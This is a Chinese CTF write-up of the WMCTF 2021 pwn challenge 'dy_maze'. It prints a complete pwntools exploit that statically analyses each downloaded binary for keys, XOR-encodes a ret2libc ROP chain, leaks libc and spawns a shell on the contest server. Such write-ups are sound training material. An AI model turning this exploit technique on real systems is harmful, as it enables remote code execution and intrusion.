经过三天的奋战(摸鱼划水√),WMCTF 2021 终于结束,我们的萌新体验队在大家的共同努力下也拿到了前30的成绩,实在出乎我的预料。不过,对于我们的首次比赛而言,成绩是最次要的方面,队友们在比赛中表现出的认真和专注、对CTF的兴趣和热爱才是最最珍贵的东西,只有兴趣,才能推动我们不断训练进取,在水平上拥有长足的进步。
  这次比赛中,除了少量签到、娱乐题外,pwn方向上我只做出了一道dy_maze,原因还是技术不够,堆溢出没有学。这道题也与一般的栈溢出不同,在前面加上了自动化分析的内容,确实长了见识。所以,下面我将沿着我的思路(走了些弯路)把这道题记录下来。

1. 初步分析

题面意思是需要造一个自动化溢出程序,乍一看题,看不懂什么是自动化溢出程序x。没有附件,连接一下服务器试试。
服务连接,经过验证后,向我们发送了一个Base64编码的二进制文件,盲猜就是题目的ELF,手动解码写入文件,进行分析。

文件未开启NX,Canary,amd64架构。使用IDA进行反编译,出现很多maze_xx类函数,内部结构完全相同。经过分析,该程序流程为,输入80个十进制数,这些数将分别成为对应序号maze_xx的key。每个函数内部一开始判断key是否属于一些数,若判对则直接跳出转错误。中间有个位置会进行判空跳错。即,只要每个key都对应这个函数的判空跳错的那个判断语句的条件,就会转入下一个函数,80个函数过后转入正常栈溢出(后来证明还有个小问题),构造ROP链即可。

2. 构造通过maze的payload

经过上面分析,需要找到每个函数对应的key,一开始还想要手动找(x),后来看看有点多还是准备写自动化脚本了。后来看来,幸好当初没有写手动的静态payload,要是写了直接白给一小时。

观察跳转进入下一个maze的条件判断式,这个cmp语句的operand 2就是每个maze的正确key,需要使用静态分析将其找出。

(原本想要动态分析尝试payload,奈何python时间偏差太大放弃,现在想来,真是一个极端愚蠢的想法)

观察特征值,发现在每个cmp后,都会有全局变量pos自增1的指令,从这里入手找到所有跳转条件的位置,就可以找到对应的正确key。

add eax, 1的二进制指令为b\x83\xC0\x01,使用elf.search()可以找到对应位置。接下来需要确定key的位置,原本方案是按照固定偏移找,结果头疼的是,某些函数在add eax, 1cmp间增加了一些无效指令,导致偏移不固定,只能改换特征值查找。
除了最后一字节的key,cmp指令的前3字节都相同b'\x83\x7D\xFC',可以从这里入手,从add的位置开始向前搜索这三个字节,从而找到key。

另外,可以通过符号表找到各个函数的位置,构建字典来存储函数序号对应的key。部分代码:

d = {}
for i in range(1, 81):d[i] = e.symbols['maze_{}'.format(i)]maze_address = sorted(d.items(), key=lambda x: x[1])key = {}for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):addr -= 4while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(adr) + 3]

3. 栈溢出(ROP)

通过上面的maze后,我们进入正式栈溢出。只需要一开始输入长度(100足够),后面注入ROP payload即可。由于没有看反汇编,这里我又犯了一个错,想当然地把明文payload送了进去。结果运行到返回时直接跳错。后来发现它还执行了一次对所有payload的异或加密

使用一般的ret2libc + encrypt 即可。这里需要注意,XOR的key也需要静态分析取出,原因后面会讲到,取出方法同上

加密、取key和payload部分代码:

def encode(payload, offset):# encodepayload_encoded = b''for i in range(len(payload)):payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')return payload_encodedsuccess_temp = []
for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])prdi = next(e.search(b'\x5f\xc3'))
for i in range(1, 81):payload += str(key[i]).encode('utf-8') + b' '# ok_success
payload += str(100).encode('utf-8') sl(payload)sleep(2)
# p.recvall()
ru(b'Good')
# sl(b'100')sleep(2)# input your name:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])
sl(encode(payload, 0))
# sl(payload)sleep(2)ru(b'name: ')
puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success("puts addr found: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
# libc.select_libc(9)
libc_base = puts_addr - libc.dump('puts')
log.success('libc base found: ' + hex(libc_base))p.sendlineafter(b'length', str(100).encode('utf-8'))# Attacking:
payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)
payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)
sla(b'name: ', encode(payload, 1))

4. 真正的自动分析

构造完payload兴奋地交上去,一直连接reset,一开始还以为网不好,手动试了试才发现是错了。后来转念一想,他来个附件不好,一定要每次连接用Base64发给你?不会每次ELF不一样?后来两次一比还真是,虽然栈帧结构没变,但地址和key全都变了,这才算是需要真正的自动分析。

那就把Base64解码写进文件里,再用这个文件进行静态分析即可。

后来发现,除了key,后来的XOR加密key,各个地址全部是变化的,这就是上面需要使用静态分析提取值的原因

解码、保存ELF代码:

# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:f.write(a2b_base64(b64_data))ru(b'\n')temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)

5. PWN

经过一些正常的rsp16字节对齐等操作,最终成功get shell。下附完整代码:

from pwn import *
from LibcSearcher import *
from binascii import a2b_base64
import oscontext(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']# Interface
local = False
# binary_name = "dy_maze"
binary_name = "38a5a00c-08ac-11ec-b124-0242ac110003"
port = 44212if local:p = process(["./" + binary_name])e = ELF("./" + binary_name)# libc = e.libc
else:p = remote("47.104.169.32", port)def z(a=''):if local:gdb.attach(p, a)if a == '':raw_input()else:passru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)def encode(payload, offset):# encodepayload_encoded = b''for i in range(len(payload)):payload_encoded += (payload[i] ^ success_temp[(i + offset) % 5]).to_bytes(1, 'little')return payload_encoded# Others
success_temp = []# Main
if __name__ == "__main__":# z('b maze_25')z('b ok_success\n')# initialize
p.recvuntil(b'Solution?')
confirm = input()
sl(confirm)# Create binary file
ru(b'Binary Download Start')
ru(b'\n')
b64_data = p.recvuntil(b'\n==', drop=True)
with open('temp.bz2', 'wb') as f:f.write(a2b_base64(b64_data))
ru(b'\n')temp_binary = os.popen('tar -xjvf temp.bz2').read().strip('\n')
e = ELF("./" + temp_binary)# Start ELF Analysisd = {}for i in range(1, 81):d[i] = e.symbols['maze_{}'.format(i)]maze_address = sorted(d.items(), key=lambda x: x[1])key = {}for ind, addr in zip(range(80), e.search(b'\x83\xc0\x01')):addr -= 4while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) + 3] != b'\x83\x7d\xfc': addr -= 1key[maze_address[ind][0]] = e.data[e.vaddr_to_offset(addr) + 3]for addr in e.search(b'\x48\x98\x88\x54\x05\xEC'):success_temp.append(e.data[e.vaddr_to_offset(addr) - 1])prdi = next(e.search(b'\x5f\xc3'))# End Analysis# key[80] = 32payload = b''for i in range(1, 81):payload += str(key[i]).encode('utf-8') + b' '# ok_successpayload += str(100).encode('utf-8') sl(payload)sleep(2)# p.recvall()ru(b'Good')# sl(b'100')sleep(2)# input your name:payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['ok_success'])sl(encode(payload, 0))# sl(payload)sleep(2)ru(b'name: ')puts_addr = p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success("puts addr found: " + hex(puts_addr))libc = LibcSearcher('puts', puts_addr)# libc.select_libc(9)libc_base = puts_addr - libc.dump('puts')log.success('libc base found: ' + hex(libc_base))p.sendlineafter(b'length', str(100).encode('utf-8'))# Attacking:payload = b'a' * 0x14 + b'b' * 8 + p64(prdi) + p64(libc.dump('str_bin_sh') + libc_base)payload += p64(prdi + 1) + p64(libc.dump('system') + libc_base)sla(b'name: ', encode(payload, 1))p.interactive()

WMCTF 2021 pwn dy_maze writeup相关推荐

  1. NCTF2019 -- PWN部分writeup

    pwn学习总结(二) -- PWN部分writeup warmup easy_rop warmup 查看程序防护: 查看反汇编: 已知条件: 开启了溢出检测 开启了沙盒模式,只能调用libc中的ope ...

  2. 2021年 CISCN writeup

    2021年 CISCN writeup 文章目录 2021年 CISCN writeup 1.1 easy_sql 1.2 easy_source 1.3 middle_source 1.1 easy ...

  3. SCU新生赛2021 pwn wp

    前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...

  4. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  5. hackme inndy pwn onepunch writeup

    继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...

  6. 陇原战“疫“2021网络安全大赛Writeup

    Web CheckIN 源代码的这两处: 先尝试访问/wget:/wget?argv=a,看出来这里应该是可以进行攻击的了 接着尝试利用wget的--post-file进行数据外带,读取源代码 在自己 ...

  7. hgame week1 2021 pwn

    目录 once letter once 写这个题的时候发现了一个工具,可以修改题目加载的libc.so和ld.so文件 patchelf 注释掉的是本地环境下的情况 #!/usr/bin/env py ...

  8. volga-ctf-quals-2016 pwn web_of_scicen_250 writeup

    基本情况 我并没有参加这个比赛,只是作为练习用,所以无法模拟远程,只能本地调试 文件是64位的,运行之后先输入名字,然后每次都会输出这个名字,然后问你10道数学题,后面怎样的其实对这个版本的利用来说不 ...

  9. CGCTF pwn CGfsb writeup

    一.实验目的: 破解我的第一个pwn,获取flag(虽然也参考了别人*^*O*^*) 二.实验环境: Ubuntu 18.04 / gdb-peda  / pwntools Windows7 IDA ...

最新文章

  1. 我的Rails笔记(1)
  2. 为什么ConcurrentHashMap是弱一致的(jdk6)
  3. 一切技术创新史都是数据史
  4. macbook pro 识别不到外接显示器
  5. python编程案例教程答案-Python程序开发案例教程
  6. iOS AppStore 申请加急审核
  7. 4. Nest :module (Model)
  8. GPSD架构介绍及交叉编译和使用
  9. ReviewForJob——快速排序(基于插入排序)+快速选择(快速排序变体)
  10. linux下搭建属于自己的博客(WordPress安装)
  11. 如何让知识图谱告诉你“故障根因”
  12. 大数据之-Hadoop伪分布式_配置日志聚集---大数据之hadoop工作笔记0028
  13. MinGW C++ window7 编译环境的配置
  14. HDU 5934 2016CCPC杭州 B: Bomb(Trajan强连通)
  15. (转)webstorm快捷键
  16. AutoCAD 百度网盘免费下载
  17. Python爬虫——爬取知网论文数据(一)
  18. Logism · 八位可控加减法器 实验
  19. 偏差方差分解Python示例
  20. xposed android 4.4.2,xposed新版54

热门文章

  1. android oneshot,OneShot
  2. Java小记 —— 日期时间转换问题(相差一小时)
  3. 结构光逆相机法重建详解+代码
  4. 安科瑞低压电动机回路抗晃电解决方案
  5. IOS推送详解(一)------APNs
  6. 一种威胁绝大多数蓝牙设备的攻击载体——BlueBorne
  7. 如何做好新项目的需求调研?(一)
  8. C++描述 LeetCode 26. 删除排序数组中的重复项
  9. 2022-23 年电子邮箱哪个好用?邮箱大全测评来了,请及时查看哦
  10. 我的世界java旁观者模式_我的世界基岩版开启旁观者模式教程